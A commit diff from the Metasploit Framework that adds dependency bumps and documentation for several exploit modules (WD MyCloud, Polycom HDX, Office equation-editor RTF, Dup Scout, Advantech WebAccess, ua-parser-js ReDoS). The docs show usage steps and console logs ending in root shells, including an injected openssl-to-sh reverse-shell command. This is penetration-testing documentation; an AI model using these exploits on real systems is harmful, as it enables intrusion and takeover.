commit
e435dceb26
10
Gemfile.lock
10
Gemfile.lock
|
@ -1,7 +1,7 @@
|
|||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (4.16.21)
|
||||
metasploit-framework (4.16.23)
|
||||
actionpack (~> 4.2.6)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
|
@ -17,7 +17,7 @@ PATH
|
|||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 1.3.18)
|
||||
metasploit-payloads (= 1.3.19)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 0.2.8)
|
||||
msgpack
|
||||
|
@ -138,7 +138,7 @@ GEM
|
|||
multi_json (~> 1.11)
|
||||
os (~> 0.9)
|
||||
signet (~> 0.7)
|
||||
grpc (1.7.2)
|
||||
grpc (1.7.3)
|
||||
google-protobuf (~> 3.1)
|
||||
googleapis-common-protos-types (~> 1.0.0)
|
||||
googleauth (>= 0.5.1, < 0.7)
|
||||
|
@ -178,7 +178,7 @@ GEM
|
|||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-payloads (1.3.18)
|
||||
metasploit-payloads (1.3.19)
|
||||
metasploit_data_models (2.0.15)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
|
@ -193,7 +193,7 @@ GEM
|
|||
method_source (0.9.0)
|
||||
mini_portile2 (2.3.0)
|
||||
minitest (5.10.3)
|
||||
msgpack (1.1.0)
|
||||
msgpack (1.2.0)
|
||||
multi_json (1.12.2)
|
||||
multipart-post (2.0.0)
|
||||
nessus_rest (0.1.6)
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.svg?branch=master)](https://travis-ci.org/rapid7/metasploit-framework) [![Code Climate](https://img.shields.io/codeclimate/github/rapid7/metasploit-framework.svg)](https://codeclimate.com/github/rapid7/metasploit-framework)
|
||||
Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.svg?branch=master)](https://travis-ci.org/rapid7/metasploit-framework) [![Code Climate](https://img.shields.io/codeclimate/github/rapid7/metasploit-framework.svg)](https://codeclimate.com/github/rapid7/metasploit-framework) [![Docker Pulls](https://img.shields.io/docker/pulls/metasploitframework/metasploit-framework.svg)](https://hub.docker.com/r/metasploitframework/metasploit-framework/)
|
||||
==
|
||||
The Metasploit Framework is released under a BSD-style license. See
|
||||
COPYING for more details.
|
||||
|
|
Binary file not shown.
After Width: | Height: | Size: 1.4 MiB |
|
@ -0,0 +1,6 @@
|
|||
.cc-window{opacity:1;transition:opacity 1s ease}.cc-window.cc-invisible{opacity:0}.cc-animate.cc-revoke{transition:transform 1s ease}.cc-animate.cc-revoke.cc-top{transform:translateY(-2em)}.cc-animate.cc-revoke.cc-bottom{transform:translateY(2em)}.cc-animate.cc-revoke.cc-active.cc-bottom,.cc-animate.cc-revoke.cc-active.cc-top,.cc-revoke:hover{transform:translateY(0)}.cc-grower{max-height:0;overflow:hidden;transition:max-height 1s}
|
||||
.cc-link,.cc-revoke:hover{text-decoration:underline}.cc-revoke,.cc-window{position:fixed;overflow:hidden;box-sizing:border-box;font-family:Helvetica,Calibri,Arial,sans-serif;font-size:16px;line-height:1.5em;display:-ms-flexbox;display:flex;-ms-flex-wrap:nowrap;flex-wrap:nowrap;z-index:9999}.cc-window.cc-static{position:static}.cc-window.cc-floating{padding:2em;max-width:24em;-ms-flex-direction:column;flex-direction:column}.cc-window.cc-banner{padding:1em 1.8em;width:100%;-ms-flex-direction:row;flex-direction:row}.cc-revoke{padding:.5em}.cc-header{font-size:18px;font-weight:700}.cc-btn,.cc-close,.cc-link,.cc-revoke{cursor:pointer}.cc-link{opacity:.8;display:inline-block;padding:.2em}.cc-link:hover{opacity:1}.cc-link:active,.cc-link:visited{color:initial}.cc-btn{display:block;padding:.4em .8em;font-size:.9em;font-weight:700;border-width:2px;border-style:solid;text-align:center;white-space:nowrap}.cc-banner .cc-btn:last-child{min-width:140px}.cc-highlight .cc-btn:first-child{background-color:transparent;border-color:transparent}.cc-highlight .cc-btn:first-child:focus,.cc-highlight .cc-btn:first-child:hover{background-color:transparent;text-decoration:underline}.cc-close{display:block;position:absolute;top:.5em;right:.5em;font-size:1.6em;opacity:.9;line-height:.75}.cc-close:focus,.cc-close:hover{opacity:1}
|
||||
.cc-revoke.cc-top{top:0;left:3em;border-bottom-left-radius:.5em;border-bottom-right-radius:.5em}.cc-revoke.cc-bottom{bottom:0;left:3em;border-top-left-radius:.5em;border-top-right-radius:.5em}.cc-revoke.cc-left{left:3em;right:unset}.cc-revoke.cc-right{right:3em;left:unset}.cc-top{top:1em}.cc-left{left:1em}.cc-right{right:1em}.cc-bottom{bottom:1em}.cc-floating>.cc-link{margin-bottom:1em}.cc-floating .cc-message{display:block;margin-bottom:1em}.cc-window.cc-floating .cc-compliance{-ms-flex:1;flex:1}.cc-window.cc-banner{-ms-flex-align:center;align-items:center}.cc-banner.cc-top{left:0;right:0;top:0}.cc-banner.cc-bottom{left:0;right:0;bottom:0}.cc-banner .cc-message{-ms-flex:1;flex:1}.cc-compliance{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;-ms-flex-line-pack:justify;align-content:space-between}.cc-compliance>.cc-btn{-ms-flex:1;flex:1}.cc-btn+.cc-btn{margin-left:.5em}
|
||||
@media print{.cc-revoke,.cc-window{display:none}}@media screen and (max-width:900px){.cc-btn{white-space:normal}}@media screen and (max-width:414px) and (orientation:portrait),screen and (max-width:736px) and (orientation:landscape){.cc-window.cc-top{top:0}.cc-window.cc-bottom{bottom:0}.cc-window.cc-banner,.cc-window.cc-left,.cc-window.cc-right{left:0;right:0}.cc-window.cc-banner{-ms-flex-direction:column;flex-direction:column}.cc-window.cc-banner .cc-compliance{-ms-flex:1;flex:1}.cc-window.cc-floating{max-width:none}.cc-window .cc-message{margin-bottom:1em}.cc-window.cc-banner{-ms-flex-align:unset;align-items:unset}}
|
||||
.cc-floating.cc-theme-classic{padding:1.2em;border-radius:5px}.cc-floating.cc-type-info.cc-theme-classic .cc-compliance{text-align:center;display:inline;-ms-flex:none;flex:none}.cc-theme-classic .cc-btn{border-radius:5px}.cc-theme-classic .cc-btn:last-child{min-width:140px}.cc-floating.cc-type-info.cc-theme-classic .cc-btn{display:inline-block}
|
||||
.cc-theme-edgeless.cc-window{padding:0}.cc-floating.cc-theme-edgeless .cc-message{margin:2em 2em 1.5em}.cc-banner.cc-theme-edgeless .cc-btn{margin:0;padding:.8em 1.8em;height:100%}.cc-banner.cc-theme-edgeless .cc-message{margin-left:1em}.cc-floating.cc-theme-edgeless .cc-btn+.cc-btn{margin-left:0}
|
File diff suppressed because one or more lines are too long
|
@ -0,0 +1,67 @@
|
|||
## Vulnerable Application
|
||||
|
||||
This auxiliary module exploits a Regular Expression Denial of Service vulnerability
|
||||
in the npm module `ua-parser-js`. Versions before 0.7.16 are vulnerable.
|
||||
Any application that uses a vulnerable version of this module and calls the `getOS`
|
||||
or `getResult` functions will be vulnerable to this module. An example server is provided
|
||||
below.
|
||||
|
||||
## How to Install
|
||||
|
||||
To install a vulnerable version of `ua-parser-js`, run:
|
||||
```
|
||||
npm i ua-parser-js@0.7.15
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Example steps in this format (is also in the PR):
|
||||
|
||||
1. Create a new directory for test application.
|
||||
2. Copy below example server into test application directory as `server.js`.
|
||||
3. Run `npm i express` to install express in the test application directory.
|
||||
4. To test vulnerable versions of the module, run `npm i ua-parser-js@0.7.15` to install a vulnerable version of ua-parser-js.
|
||||
5. To test non-vulnerable versions of the module, run `npm i ua-parser-js` to install the latest version of ua-parser-js.
|
||||
6. Once all dependencies are installed, run the server with `node server.js`.
|
||||
7. Open up a new terminal.
|
||||
8. Start msfconsole.
|
||||
9. `use auxiliary/dos/http/ua_parser_js_redos`.
|
||||
10. `set RHOST [IP]`.
|
||||
11. `run`.
|
||||
12. In vulnerable installations, Module should have positive output and the test application should accept no further requests.
|
||||
13. In non-vulnerable installations, module should have negative output and the test application should accept further requests.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### ua-parser-js npm module version 0.7.15
|
||||
|
||||
Expected output for successful exploitation:
|
||||
|
||||
```
|
||||
[*] Testing Service to make sure it is working.
|
||||
[*] Test request successful, attempting to send payload
|
||||
[*] Sending ReDoS request to 192.168.3.24:3000.
|
||||
[*] No response received from 192.168.3.24:3000, service is most likely unresponsive.
|
||||
[*] Testing for service unresponsiveness.
|
||||
[+] Service not responding.
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### Example Vulnerable Application
|
||||
|
||||
```
|
||||
// npm i express
|
||||
// npm i ua-parser-js@0.7.15 (vulnerable)
|
||||
// npm i ua-parser-js (non-vulnerable)
|
||||
|
||||
const express = require('express')
|
||||
const uaParser = require('ua-parser-js');
|
||||
const app = express()
|
||||
|
||||
app.get('/', (req, res) => {
|
||||
var parser = new uaParser(req.headers['user-agent']);
|
||||
res.end(JSON.stringify(parser.getResult()));
|
||||
});
|
||||
|
||||
app.listen(3000, '0.0.0.0', () => console.log('Example app listening on port 3000!'))
|
||||
```
|
|
@ -0,0 +1,34 @@
|
|||
## Vulnerable Application
|
||||
|
||||
[Web Services Dynamic Discovery (WS-Discovery)](https://en.wikipedia.org/wiki/WS-Discovery) is a multicast discovery protocol utilising SOAP over UDP to locate web services on a local network.
|
||||
|
||||
Web service enabled devices typically include printers, scanners and file shares.
|
||||
|
||||
The reply from some devices may include optional vendor extensions. This data may include network information such as the device MAC address and hostname, or hardware information such as the serial number, make, and model.
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Do: `use auxiliary/scanner/wsdd/wsdd_query`
|
||||
3. Do: `set RHOSTS [IP]` (Default: `239.255.255.250`)
|
||||
4. Do: `run`
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/wsdd/wsdd_query
|
||||
msf auxiliary(wsdd_query) > set rhosts 239.255.255.250
|
||||
rhosts => 239.255.255.250
|
||||
msf auxiliary(wsdd_query) > run
|
||||
|
||||
[*] Sending WS-Discovery probe to 1 hosts
|
||||
[+] 10.1.1.184 responded with:
|
||||
Address: http://10.1.1.184:3911/
|
||||
Types: wsdp:Device, wprt:PrintDeviceType, wscn:ScanDeviceType, hpd:hpDevice
|
||||
Vendor Extensions: {"HardwareAddress"=>"123456789ABC", "UUID"=>"12345678-1234-1234-abcd-123456789abc", "IPv4Address"=>"10.1.1.123", "Hostname"=>"HP09AAFB", "DeviceId"=>"MFG:HP;MDL:Photosmart 5520 series;DES:CX042A;", "DeviceIdentification"=>{"MakeAndModel"=>"Photosmart 5520 series", "MakeAndModelBase"=>"Photosmart 5520 series"}, "SerialNumber"=>"123456", "Services"=>" Print9100 SclScan RESTScan CIFS DOT4 LEDM", "AdapterType"=>"WifiEmbedded"}
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
|
@ -0,0 +1,40 @@
|
|||
## Description
|
||||
|
||||
This module exploits a file upload vulnerability found in Western Digital's MyCloud NAS web administration HTTP service. The /web/jquery/uploader/multi_uploadify.php PHP script provides multipart upload functionality that is accessible without authentication and can be used to place a file anywhere on the device's file system. This allows an attacker the ability to upload a PHP shell onto the device and obtain arbitrary code execution as root.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
[Western Digital](https://www.wdc.com/) designs drives and network attached storage (NAS) devices for both consumers and businesses.
|
||||
|
||||
This module was tested successfully on a MyCloud PR4100 with firmware version 2.30.172 .
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use exploit/linux/http/wd_mycloud_multiupload_upload```
|
||||
2. Do: ```set RHOST [IP]```
|
||||
3. Do: ```check```
|
||||
4. It should be reported as vulnerable
|
||||
5. Do: ```run```
|
||||
6. You should get a shell
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf > use exploit/linux/http/wd_mycloud_multiupload_upload
|
||||
msf exploit(wd_mycloud_multiupload_upload) > set RHOST 192.168.86.104
|
||||
RHOST => 192.168.86.104
|
||||
msf exploit(wd_mycloud_multiupload_upload) > check
|
||||
[+] 192.168.86.104:80 The target is vulnerable.
|
||||
msf exploit(wd_mycloud_multiupload_upload) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.86.215:4444
|
||||
[*] Uploading PHP payload (1124 bytes) to '/var/www'.
|
||||
[+] Uploaded PHP payload successfully.
|
||||
[*] Making request for '/.7bc5NqFMK5.php' to execute payload.
|
||||
[*] Sending stage (37543 bytes) to 192.168.86.104
|
||||
[*] Meterpreter session 1 opened (192.168.86.215:4444 -> 192.168.86.104:38086) at 2017-11-28 06:07:14 -0600
|
||||
[+] Deleted .7bc5NqFMK5.php
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root (0)
|
||||
```
|
|
@ -0,0 +1,23 @@
|
|||
## Vulnerable Application
|
||||
|
||||
This vulnerability affects any pfSense versions prior to 2.4.2-RELEASE.
|
||||
|
||||
## Vulnerable Setup
|
||||
|
||||
The victim should be able to access the WebGUI & must be logged in as admin in order for this exploit to work. Possibly the WebGUI's TLS certificate must be trusted in the browser.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. `use exploit/unix/http/pfsense_clickjacking`
|
||||
2. `set TARGETURI https://<ip WebGUI>`
|
||||
3. `exploit`
|
||||
4. Browse to the URL returned by MSF
|
||||
5. Click anywhere on the returned page
|
||||
6. Note that a new Meterpreter sessions was started.
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
**TARGETURI**
|
||||
|
||||
The base path of the WebGUI. The default base path is https://192.168.1.1/
|
|
@ -0,0 +1,131 @@
|
|||
Within Polycom HDX series devices, there is a command execution vulneralbility in one of the dev commands `devcmds`, `lan traceroute` which subtituing `$()` or otherwise similiar operand , similiar to [polycom_hdx_auth_bypass](https://github.com/rapid7/metasploit-framework/blob/f250e15b6ee2d7b3e38ee1229bee533a021d1415/modules/exploits/unix/polycom_hdx_auth_bypass.rb) could allow for an attacker to obtain a command shell. Spaces must be replaced with `#{IFS}` aka `Internal Field Seperator`
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
Tested on the latest and greatest version of the firmware, vendor has not patched since being reported. [Found here](http://downloads.polycom.com/video/hdx/polycom-hdx-release-3.1.10-51067.pup)
|
||||
|
||||
## Options
|
||||
### PASSWORD
|
||||
Although a majority of devices come without a password, occasionally when one is required, you can set one to either the default `456`, `admin`, or `POLYCOM`, or
|
||||
the devices.
|
||||
|
||||
|
||||
## Payloads
|
||||
Supported payloads include the telnet payload `cmd/unix/reverse` but not `cmd/unix/reverse_ssl_double_telnet` Alternatively, `cmd/unix/reverse_openssl` can be used or, your own choice of executing any arbitary command with `cmd/unix/generic`
|
||||
|
||||
```
|
||||
Compatible Payloads
|
||||
===================
|
||||
|
||||
Name Disclosure Date Rank Description
|
||||
---- --------------- ---- -----------
|
||||
cmd/unix/generic normal Unix Command, Generic Command Execution
|
||||
cmd/unix/reverse normal Unix Command Shell, Double Reverse TCP (telnet)
|
||||
cmd/unix/reverse_openssl normal Unix Command Shell, Double Reverse TCP SSL (openssl)
|
||||
cmd/unix/reverse_ssl_double_telnet normal Unix Command Shell, Double Reverse TCP SSL (telnet)
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
A successful check of the exploit will look like this:
|
||||
```
|
||||
msf exploit(polycom) > set RHOST 192.168.0.17
|
||||
RHOST => 192.168.0.17
|
||||
msf exploit(polycom) > set LHOSt ens3
|
||||
LHOSt => ens3
|
||||
msf exploit(polycom) > set LPORT 3511
|
||||
LPORT => 3511
|
||||
msf exploit(polycom) > show payloads
|
||||
|
||||
Compatible Payloads
|
||||
===================
|
||||
|
||||
Name Disclosure Date Rank Description
|
||||
---- --------------- ---- -----------
|
||||
cmd/unix/generic normal Unix Command, Generic Command Execution
|
||||
cmd/unix/reverse normal Unix Command Shell, Double Reverse TCP (telnet)
|
||||
cmd/unix/reverse_openssl normal Unix Command Shell, Double Reverse TCP SSL (openssl)
|
||||
cmd/unix/reverse_ssl_double_telnet normal Unix Command Shell, Double Reverse TCP SSL (telnet)
|
||||
|
||||
msf exploit(polycom) > set PAYLOAD cmd/unix/reverse
|
||||
PAYLOAD => cmd/unix/reverse
|
||||
msf exploit(polycom) > set VERBOSE false
|
||||
VERBOSE => false
|
||||
msf exploit(polycom) > run
|
||||
|
||||
[*] Started reverse TCP double handler on 192.168.0.11:3511
|
||||
[+] 192.168.0.17:23 - 192.168.0.17:23 - Device has no authentication, excellent!
|
||||
[+] 192.168.0.17:23 - Sending payload of 126 bytes to 192.168.0.17:34874...
|
||||
[*] Accepted the first client connection...
|
||||
[*] Accepted the second client connection...
|
||||
[*] Command: echo vGopPRp0jBxt4J2D;
|
||||
[*] Writing to socket A
|
||||
[*] Writing to socket B
|
||||
[*] Reading from sockets...
|
||||
[*] Reading from socket B
|
||||
[*] B: "vGopPRp0jBxt4J2D\n"
|
||||
[*] Matching...
|
||||
[*] A is input...
|
||||
[*] Command shell session 10 opened (192.168.0.11:3511 -> 192.168.0.17:37687) at 2017-11-15 10:29:58 -0500
|
||||
[*] 192.168.0.17:23 - Shutting down payload stager listener...
|
||||
|
||||
id
|
||||
uid=0(root) gid=0(root)
|
||||
whoami
|
||||
root
|
||||
```
|
||||
|
||||
## Debugging
|
||||
Setting `VERBOSE` to true should yield an output of.
|
||||
|
||||
```
|
||||
msf exploit(polycom) > set VERBOSE true
|
||||
VERBOSE => true
|
||||
rmsf exploit(polycom) > run
|
||||
|
||||
[*] Started reverse TCP double handler on 192.168.0.11:3511
|
||||
[*] 192.168.0.17:23 - Received : !
|
||||
Polycom Command Shell
|
||||
XCOM host: localhost port: 4121
|
||||
TTY name: /dev/pts/6
|
||||
Session type: telnet
|
||||
2017-11-15 15:33:12 DEBUG avc: pc[0]: XCOM:INFO:server_thread_handler: freeing conn [conn: 0x1266f300] [sock: 104] [thread: 0x12559e68]
|
||||
2017-11-15 15:33:12 DEBUG jvm: pc[0]: UI: xcom-api: SessionHandler: freeing session 4340
|
||||
2017-11-15 15:33:12 DEBUG jvm: pc[0]: UI: xcom-api: ClientManager: deleteSession(sess: 4340)
|
||||
2017-11-15 15:33:12 DEBUG jvm: pc[0]: UI: xcom-api: ClientManager: deleteSession current open sessions count= 9
|
||||
2017-11-15 15:33:12 DEBUG avc: pc[0]: XCOM:INFO:main_server_thread: new connection [conn: 0x1266f300] [sock: 104]
|
||||
2017-11-15 15:33:12 DEBUG avc: pc[0]: XCOM:INFO:server_thread_handler: new conn [conn: 0x1266f300] [sock: 104] [thread: 0x1255a010] [TID: 3380]
|
||||
2017-11-15 15:33:12 DEBUG avc: pc[0]: uimsg: [R: telnet /tmp/apiasynclisteners/psh6 /dev/pts/6]
|
||||
2017-11-15 15:33:13 DEBUG jvm: pc[0]: UI: xcom-api: ClientManager: createSession(type: telnet sess: 4342)
|
||||
2017-11-15 15:33:13 DEBUG jvm: pc[0]: UI: xcom-api: ClientManager: createSession current open sessions count= 10
|
||||
2017-11-15 15:33:13 DEBUG avc: pc[0]: appcom: register_api_session pSession=0x12669918
|
||||
2017-11-15 15:33:13 DEBUG avc: pc[0]: appcom: about to call sendJavaMessageEx
|
||||
2017-11-15 15:33:13 DEBUG avc: pc[0]: appcom: session 4342 registered
|
||||
|
||||
[+] 192.168.0.17:23 - 192.168.0.17:23 - Device has no authentication, excellent!
|
||||
[+] 192.168.0.17:23 - Sending payload of 126 bytes to 192.168.0.17:37450...
|
||||
[*] Accepted the first client connection...
|
||||
[*] Accepted the second client connection...
|
||||
[*] Command: echo WD3QloY3fys6n7dK;
|
||||
[*] Writing to socket A
|
||||
[*] Writing to socket B
|
||||
[*] Reading from sockets...
|
||||
[*] 192.168.0.17:23 - devcmds
|
||||
Entering sticky internal commands *ONLY* mode...
|
||||
lan traceroute `openssl${IFS}s_client${IFS}-quiet${IFS}-host${IFS}192.168.0.11${IFS}-port${IFS}37873|sh`
|
||||
2017-11-15 15:33:13 DEBUG avc: pc[0]: uimsg: [D: lan traceroute `openssl${IFS}s_client${IFS}-quiet${IFS}-host${IFS}192.168.0.11${IFS}-port${IFS}37873|sh`]
|
||||
2017-11-15 15:33:13 DEBUG avc: pc[0]: os: task:DETR pid:3369 thread 4e5ff4c0 11443 12660c68
|
||||
2017-11-15 15:33:14 INFO avc: pc[0]: DevMgrEther: Trace Route Command Entry, hostnameORIP: `openssl${IFS}s_client${IFS}-quiet${IFS}-host${IFS}192.168.0.11${IFS}-port${IFS}37873|sh` hop_count: 0
|
||||
|
||||
[*] Reading from socket B
|
||||
[*] B: "WD3QloY3fys6n7dK\n"
|
||||
[*] Matching...
|
||||
[*] A is input...
|
||||
[*] Command shell session 11 opened (192.168.0.11:3511 -> 192.168.0.17:38624) at 2017-11-15 10:34:23 -0500
|
||||
[*] 192.168.0.17:23 - Shutting down payload stager listener...
|
||||
|
||||
id
|
||||
uid=0(root) gid=0(root)
|
||||
whoami
|
||||
root
|
||||
```
|
|
@ -0,0 +1,50 @@
|
|||
|
||||
Module abuses a feature in MS Field Equations that allow an user to execute an arbitrary application.
|
||||
|
||||
## Vulnerable Application
|
||||
All Microsoft Office versions
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: `use exploit/windows/fileformat/office_dde_delivery`
|
||||
3. Do: `set PAYLOAD [PAYLOAD]`
|
||||
4. Do: `run`
|
||||
|
||||
## Options
|
||||
### FILENAME
|
||||
Filename to output, whether injecting or generating a blank one
|
||||
|
||||
### INJECT_PATH
|
||||
Path to filename to inject
|
||||
|
||||
|
||||
## Example
|
||||
|
||||
```
|
||||
msf > use exploit/windows/fileformat/office_dde_delivery
|
||||
msf exploit(office_dde_delivery) > set FILENAME msf.rtf
|
||||
FILENAME => /home/mumbai/file.rtf
|
||||
msf exploit(office_dde_delivery) > set LHOST ens3
|
||||
LHOST => ens3
|
||||
msf exploit(office_dde_delivery) > set LPORT 35116
|
||||
LPORT => 35116
|
||||
msf exploit(office_dde_delivery) > run
|
||||
[*] Using URL: http://0.0.0.0:8080/DGADAcDZ
|
||||
[*] Local IP: http://192.1668.0.11:8080/DGADAcDZ
|
||||
[*] Server started.
|
||||
[*] Handling request for .sct from 192.168.0.24
|
||||
[*] Delivering payload to 192.168.0.24...
|
||||
[*] Sending stage (205379 bytes) to 192.168.0.24
|
||||
[*] Meterpreter session 1 opened (192.168.0.11:35116 -> 192.168.0.24:52217)
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : TEST-PC
|
||||
OS : Windows 7 (Build 7601, Service Pack 1).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 1
|
||||
Meterpreter : x64/windows
|
||||
meterpreter >
|
||||
```
|
|
@ -0,0 +1,56 @@
|
|||
|
||||
Module exploits a flaw in how the Equation Editor that allows an attacker to execute arbitrary code in RTF files without interaction. The vulnerability is caused by the Equation Editor, to which fails to properly handle OLE objects in memory.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
- Microsoft Office 2016
|
||||
- Microsoft Office 2013 Service Pack 1
|
||||
- Microsoft Office 2010 Service Pack 2
|
||||
- Microsoft Office 2007
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: `use exploit/windows/fileformat/office_ms17_11882`
|
||||
3. Do: `set PAYLOAD [PAYLOAD]`
|
||||
4. Do: `run`
|
||||
|
||||
## Options
|
||||
### FILENAME
|
||||
Filename to output & if injecting a file, the file to inject
|
||||
|
||||
### FOLDER_PATH
|
||||
Path to filename to inject
|
||||
|
||||
|
||||
## Example
|
||||
|
||||
```
|
||||
msf > use exploit/windows/fileformat/office_ms17_11882
|
||||
msf exploit(office_ms17_11882) > set FILENAME msf.rtf
|
||||
FILENAME => /home/mumbai/file.rtf
|
||||
msf exploit(office_ms17_11882) > set LHOST ens3
|
||||
LHOST => ens3
|
||||
msf exploit(office_ms17_11882) > set LPORT 35116
|
||||
LPORT => 35116
|
||||
msf exploit(office_ms17_11882) > run
|
||||
[*] Using URL: http://0.0.0.0:8080/BUY0DYgc
|
||||
[*] Local IP: http://192.1668.0.11:8080/BUY0DYgc
|
||||
[*] Server started.
|
||||
[*] 192.168.0.24 office_ms17_11882 - Handling initial request from 192.168.0.24
|
||||
[*] 192.168.0.24 office_ms17_11882 - Stage two requestd, sending
|
||||
[*] Sending stage (205379 bytes) to 192.168.0.24
|
||||
[*] Meterpreter session 1 opened (192.168.0.11:35116 -> 192.168.0.24:52217) at 2017-11-21 14:41:59 -0500
|
||||
sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : TEST-PC
|
||||
OS : Windows 7 (Build 7601, Service Pack 1).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 1
|
||||
Meterpreter : x64/windows
|
||||
meterpreter >
|
||||
```
|
|
@ -0,0 +1,47 @@
|
|||
## Vulnerable Application
|
||||
|
||||
Tested on Windows 10 x64
|
||||
|
||||
Install the application from the link below and enable the web server by going to Tools -> Advanced Options -> Server -> Enable Web Server on Port.
|
||||
|
||||
[Dup Scout Enterprise v 10.0.18](https://www.exploit-db.com/apps/84dcc5fe242ca235b67ad22215fce6a8-dupscoutent_setup_v10.0.18.exe)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application and set the option above to enable the web server
|
||||
2. Start msfconsole
|
||||
3. Do: ```use exploit/windows/http/dup_scout_enterprise_login_bof```
|
||||
5. Set options and payload
|
||||
6. Do: ```run```
|
||||
7. You should get a shell.
|
||||
|
||||
## Options
|
||||
|
||||
**RHOST**
|
||||
|
||||
IP address of the remote host running the server.
|
||||
|
||||
**RPORT**
|
||||
|
||||
Port that the web server is running on. Default is 80 but it can be changed when setting up the program or in the options.
|
||||
|
||||
## Scenarios
|
||||
|
||||
To obtain a shell:
|
||||
|
||||
```
|
||||
msf > use exploit/windows/http/dup_scout_enterprise_login_bof
|
||||
msf exploit(windows/http/dup_scout_enterprise_login_bof) > set payload windows/meterpreter/reverse_tcp
|
||||
payload => windows/meterpreter/reverse_tcp
|
||||
msf exploit(windows/http/dup_scout_enterprise_login_bof) > set rhost 192.168.1.171
|
||||
rhost => 192.168.1.171
|
||||
msf exploit(windows/http/dup_scout_enterprise_login_bof) > set lhost 192.168.1.252
|
||||
lhost => 192.168.1.252
|
||||
msf exploit(windows/http/dup_scout_enterprise_login_bof) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.1.252:4444
|
||||
[*] Generating exploit...
|
||||
[*] Triggering the exploit now...
|
||||
[*] Sending stage (179779 bytes) to 192.168.1.171
|
||||
[*] Meterpreter session 1 opened (192.168.1.252:4444 -> 192.168.1.171:58969) at 2017-12-09 02:01:41 -0600
|
||||
```
|
|
@ -0,0 +1,108 @@
|
|||
## Vulnerable Application
|
||||
|
||||
[Advantech WebAccess <= 8.2](http://advcloudfiles.advantech.com/web/Download/webaccess/8.2/AdvantechWebAccessUSANode8.2_20170330.exe)
|
||||
|
||||
## Vulnerability Analysis
|
||||
|
||||
The stack overflow happens in sub_10004BC8:
|
||||
|
||||
```
|
||||
.text:10004BC8 ; int __cdecl sub_10004BC8(char *Format, char)
|
||||
.text:10004BC8 sub_10004BC8 proc near ;
|
||||
.text:10004BC8 ;
|
||||
.text:10004BC8
|
||||
.text:10004BC8 lpWindowName = dword ptr -818h
|
||||
.text:10004BC8 hWnd = dword ptr -814h
|
||||
.text:10004BC8 lpClassName = dword ptr -810h
|
||||
.text:10004BC8 Args = dword ptr -80Ch
|
||||
.text:10004BC8 lpBaseAddress = dword ptr -808h
|
||||
.text:10004BC8 hFileMappingObject= dword ptr -804h
|
||||
.text:10004BC8 Dest = byte ptr -800h
|
||||
.text:10004BC8 Format = dword ptr 8
|
||||
.text:10004BC8 arg_4 = byte ptr 0Ch
|
||||
.text:10004BC8
|
||||
.text:10004BC8 push ebp
|
||||
.text:10004BC9 mov ebp, esp
|
||||
.text:10004BCB sub esp, 818h
|
||||
.text:10004BD1 mov [ebp+lpWindowName], offset aDebugScreen1 ; "Debug Screen1"
|
||||
.text:10004BDB mov [ebp+lpClassName], offset aDebugwclass1 ; "debugWClass1"
|
||||
.text:10004BE5 lea eax, [ebp+arg_4]
|
||||
.text:10004BE8 mov [ebp+Args], eax
|
||||
.text:10004BEE mov ecx, [ebp+Args]
|
||||
.text:10004BF4 push ecx ; Args
|
||||
.text:10004BF5 mov edx, [ebp+Format]
|
||||
.text:10004BF8 push edx ; Format
|
||||
.text:10004BF9 lea eax, [ebp+Dest]
|
||||
.text:10004BFF push eax ; Dest
|
||||
.text:10004C00 call ds:vsprintf ; overflow
|
||||
```
|
||||
|
||||
The corresponding IDL is below:
|
||||
|
||||
```
|
||||
[
|
||||
uuid(5d2b62aa-ee0a-4a95-91ae-b064fdb471fc),
|
||||
version(1.0)
|
||||
]
|
||||
|
||||
interface target_interface
|
||||
{
|
||||
|
||||
/* opcode: 0x01, address: 0x00401260 */
|
||||
|
||||
void sub_401260 (
|
||||
[in] handle_t arg_1,
|
||||
[in] long arg_2,
|
||||
[in] long arg_3,
|
||||
[in] long arg_4,
|
||||
[in][ref][size_is(arg_4)] char * arg_5,
|
||||
[out][ref] long * arg_6
|
||||
);
|
||||
|
||||
}
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
